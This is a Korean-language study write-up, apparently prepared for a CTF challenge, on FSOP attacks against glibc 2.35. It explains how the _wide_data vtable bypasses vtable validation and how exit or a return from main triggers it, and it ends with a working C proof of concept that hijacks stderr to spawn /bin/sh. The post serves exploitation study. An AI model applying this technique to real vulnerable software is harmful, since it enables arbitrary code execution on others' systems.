[FSOP] glibc 2.35에서 FSOP 하기

0x00. Introduction

FSOP(File Stream Oriented Programming)는 파일 입출력을 위해 생성된 file stream 포인터를 이용한 공격 기법이다. Exploit 시나리오는 glibc의 버전마다 조금씩 다른데 공통적인 부분은

  • File stream 포인터의 vtable 영역에 상황에 맞는 함수 주소들이 존재
  • fopen, fread, fwrite, fclose 등의 상황에서 특정 조건 만족 시 함수 호출
  • 해당 함수에서 조건에 맞는 상황 처리

이러한 로직을 악용해서, 실행 흐름을 조작하는 공격이다.

clip_board 문제를 풀기 위해 공부한 내용인데 정리해두면 나중에 활용하기 좋을 것 같다.

0x01. FILE Structure

fopen 등의 파일 입출력 함수를 이용해서 file stream을 생성하면, _IO_FILE_plus 구조체가 생성된다.

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

이렇게 _IO_FILE_plus 구조체가 _IO_FILE 구조체를 포함하는 형식인데, gdb에서 libc symbol이 있는 환경이라면 구조체 형식으로 출력도 가능하다.

gef➤  p *(struct _IO_FILE_plus *) 0x7ffff7fa5780
$1 = {
  file = {
    _flags = 0xfbad2887,
    _IO_read_ptr = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
    _IO_read_end = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
    _IO_read_base = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
    _IO_write_base = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
    _IO_write_ptr = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
    _IO_write_end = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
    _IO_buf_base = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
    _IO_buf_end = 0x7ffff7fa5804 <_IO_2_1_stdout_+132> "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7ffff7fa4aa0 <_IO_2_1_stdin_>,
    _fileno = 0x1,
    _flags2 = 0x0,
    _old_offset = 0xffffffffffffffff,
    _cur_column = 0x0,
    _vtable_offset = 0x0,
    _shortbuf = "\n",
    _lock = 0x7ffff7fa6a70 <_IO_stdfile_1_lock>,
    _offset = 0xffffffffffffffff,
    _codecvt = 0x0,
    _wide_data = 0x7ffff7fa49a0 <_IO_wide_data_1>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0x0,
    _mode = 0xffffffff,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ffff7fa1600 <_IO_file_jumps>
}

FSOP 기법마다 사용되는 필드가 다르겠지만 이번 포스트에서 중요한 필드는 _wide_data이다.

마찬가지로 symbol이 있다면 gdb에서 _IO_wide_data 구조체 형식으로 출력할 수 있다.

gef➤  p *(struct _IO_wide_data *) 0x7ffff7fa49a0
$2 = {
  _IO_read_ptr = 0x0,
  _IO_read_end = 0x0,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x0,
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _IO_state = {
    __count = 0x0,
    __value = {
      __wch = 0x0,
      __wchb = "\000\000\000"
    }
  },
  _IO_last_state = {
    __count = 0x0,
    __value = {
      __wch = 0x0,
      __wchb = "\000\000\000"
    }
  },
  _codecvt = {
    __cd_in = {
      step = 0x0,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0x0,
        __invocation_counter = 0x0,
        __internal_use = 0x0,
        __statep = 0x0,
        __state = {
          __count = 0x0,
          __value = {
            __wch = 0x0,
            __wchb = "\000\000\000"
          }
        }
      }
    },
    __cd_out = {
      step = 0x0,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0x0,
        __invocation_counter = 0x0,
        __internal_use = 0x0,
        __statep = 0x0,
        __state = {
          __count = 0x0,
          __value = {
            __wch = 0x0,
            __wchb = "\000\000\000"
          }
        }
      }
    }
  },
  _shortbuf = L"",
  _wide_vtable = 0x7ffff7fa10c0 <_IO_wfile_jumps>
}

마지막으로 _IO_wide_data의 마지막 필드에 _IO_FILE_plus와 동일하게 vtable 정보를 담고있는 포인터를 저장하고 있는데, _IO_jump_t 구조체 형식으로 출력하면 다음과 같다.

gef➤  p *(struct _IO_jump_t *) 0x7ffff7fa10c0
$3 = {
  __dummy = 0x0,
  __dummy2 = 0x0,
  __finish = 0x7ffff7e15ff0 <_IO_new_file_finish>,
  __overflow = 0x7ffff7e10390 <__GI__IO_wfile_overflow>,
  __underflow = 0x7ffff7e0efd0 <__GI__IO_wfile_underflow>,
  __uflow = 0x7ffff7e0d840 <__GI__IO_wdefault_uflow>,
  __pbackfail = 0x7ffff7e0d600 <__GI__IO_wdefault_pbackfail>,
  __xsputn = 0x7ffff7e10840 <__GI__IO_wfile_xsputn>,
  __xsgetn = 0x7ffff7e152b0 <__GI__IO_file_xsgetn>,
  __seekoff = 0x7ffff7e0f750 <__GI__IO_wfile_seekoff>,
  __seekpos = 0x7ffff7e184b0 <_IO_default_seekpos>,
  __setbuf = 0x7ffff7e145a0 <_IO_new_file_setbuf>,
  __sync = 0x7ffff7e106a0 <__GI__IO_wfile_sync>,
  __doallocate = 0x7ffff7e09e90 <_IO_wfile_doallocate>,
  __read = 0x7ffff7e15930 <__GI__IO_file_read>,
  __write = 0x7ffff7e14ec0 <_IO_new_file_write>,
  __seek = 0x7ffff7e14670 <__GI__IO_file_seek>,
  __close = 0x7ffff7e14590 <__GI__IO_file_close>,
  __stat = 0x7ffff7e14eb0 <__GI__IO_file_stat>,
  __showmanyc = 0x7ffff7e19420 <_IO_default_showmanyc>,
  __imbue = 0x7ffff7e19430 <_IO_default_imbue>
}

구조체만 출력했음에도 엄청 길어졌는데, 나중에 출력하는 법과 원형만 참고하면 좋을 것 같다.

0x02. Strategy

Validation Bypass

vtable이 있으니 해당 영역에 함수 주소를 overwrite할 수만 있으면 해당 함수가 호출될 것 같지만, 아쉽게도 glibc 2.27부터 vtable을 검증하는 로직이 추가되었다고 한다. 예를 들어 glibc 2.35 버전에서는 IO_validate_vtable가 다음과 같이 구현되어있다.

IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

이렇게 vtable의 주소와 __start___libc_IO_vtables 사이의 offset이 section_length보다 큰지 검증함으로써 _libc_IO_vtables 영역에 있는 주소인지 검증한다.

그래서 방법을 찾다가 이 포스트에서 아이디어를 얻었는데, 상술한 _wide_data에 있는 vtable은 검증하는 로직이 없다고 한다.

// _IO_FILE_plus->vtable functions
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

// _IO_FILE_plus->_IO_wide_data->_wide_vtable functions
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
				       + offsetof(TYPE, MEMBER)))
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)

이렇게 함수 매크로를 따라가다 보면 _IO_WIDE_JUMPS_FUNC에서는 IO_validate_vtable 함수가 호출되지 않는 것을 확인할 수 있다.

Trigger

앞서 언급한 포스트에서는 fflush()를 이용하여 FSOP를 트리거하였으나, fflush()를 따로 호출하지 못하는 상황에서 어떻게 트리거를 할 지 찾아보다가 이 발표자료를 참고해서 _IO_flush_all_lockp 함수가 다음 상황에서 호출된다는 것을 확인했다.

  • glibc abort routine
  • exit function
  • return in main

_IO_flush_all_lockp 함수를 glibc 2.35에서 확인해보면 다음과 같다.

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif

  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (
        ((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;
    }

#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif

  return result;
}

이렇게 특정 조건을 만족하면 _IO_OVERFLOW 함수가 호출되므로 새로운 fp를 구성하거나 overwrite할 때 설정해야 하는 필드들의 값은 다음과 같다.

  • fp->flags = 0
  • fp->vtable = &_IO_wfile_jumps
  • fp->mode = 1 (0보다 큰 값)
  • fp->_wide_data->_IO_write_ptr = 1 혹은 &anywhere_rw
  • fp->_wide_data->_IO_write_base = 0
  • fp->_wide_data->_wide_vtable = &fake_vtable

이 중에서 _IO_write_ptr_IO_write_base보다 크기만 하면 되지만 포인터 주소가 들어가다보니 가능하다면 read / write가 가능한 영역을 할당받아 그 주소를 써주는 것이 좋을 것 같다.

allocate fake file stream pointer

새로운 fp를 구성했다면 위 이미지와 같이 메모리가 구성되는데, 마지막으로 해주어야 하는 것은 _IO_list_all을 unlinking 하는 것이다.

unlink _IO_file_list_all

_IO_flush_all_lockp 함수에서 _IO_list_all에 담겨있는 file stream을 순회하며 _IO_OVERFLOW를 호출할 조건이 충족됐는지 확인하기 때문에

  1. 위 이미지처럼 _IO_list_all이 새로운 fp를 가리키게 함
  2. File stream의 _chain 필드를 잘 조작해서 fp가 중간에 들어가게 함

두 방법중에 가용한 방법을 채택하면 된다.

0x03. PoC

//GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
//Compiled by GNU CC version 11.2.0.
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include<string.h>
 
void backdoor()
{
    system("/bin/sh");
}
 
int main()
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
 
    char *p1 = calloc(0x200, 1);
    char *p2 = calloc(0x200, 1);
    char *p3 = calloc(0x200, 1);
    
    size_t puts_addr = (size_t)&puts;
    printf("[*] puts address: %p\n", (void *)puts_addr);
    size_t libc_base_addr = puts_addr - 0x80e50;
    printf("[*] libc base address: %p\n", (void *)libc_base_addr);
 
    size_t _IO_2_1_stderr_addr = libc_base_addr + 0x21b6a0;
    printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
 
    size_t _IO_wfile_jumps_addr = libc_base_addr + 0x2170c0;
    printf("[*] _IO_wfile_jumps address: %p\n", (void *)_IO_wfile_jumps_addr);
 
    char *stderr2 = (char *)_IO_2_1_stderr_addr;
    puts("[+] step 1: change stderr->_flags = 0x0");
    *(size_t *)stderr2 = 0;

    puts("[+] step 2: set stderr->_wide_data = p1");
    *(size_t *)(stderr2 + 0xa0) = (size_t)p1;
    
    puts("[+] step 3: change stderr->vtable to _IO_wfile_jumps");
    *(size_t *)(stderr2 + 0xd8) = _IO_wfile_jumps_addr;

    puts("[+] step 4: set stderr->_mode > 0");
    *(size_t *)(stderr2 + 0xc0) = 1;

    puts("[+] step 5: set stderr->_wide_data->_IO_write_base = 0x0");
    *(size_t *)(p1 + 0x18) = (size_t)0x0;

    puts("[+] step 6: set stderr->_wide_data->_IO_write_ptr = p2(anywhere rw)");
    *(size_t *)(p1 + 0x20) = (size_t)p2;

    puts("[+] step 7: set stderr->_wide_data->_wide_vtable = p3");
    *(size_t *)(p1 + 0xe0) = (size_t)p3;
 
    puts("[+] step 8: put backdoor at fake _wide_vtable->doallocate");
    // *(size_t *)(p3 + 0x10) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x18) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x20) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x28) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x30) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x38) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x40) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x48) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x50) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x58) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x60) = (size_t)(&backdoor);
    *(size_t *)(p3 + 0x68) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x70) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x78) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x80) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x88) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x90) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x98) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0xa0) = (size_t)(&backdoor);

    puts("[+] step 9: return to trigger backdoor func");
    return 0;
    // fflush(stderr);      // doesn't need fflush();
}

0x04. Reference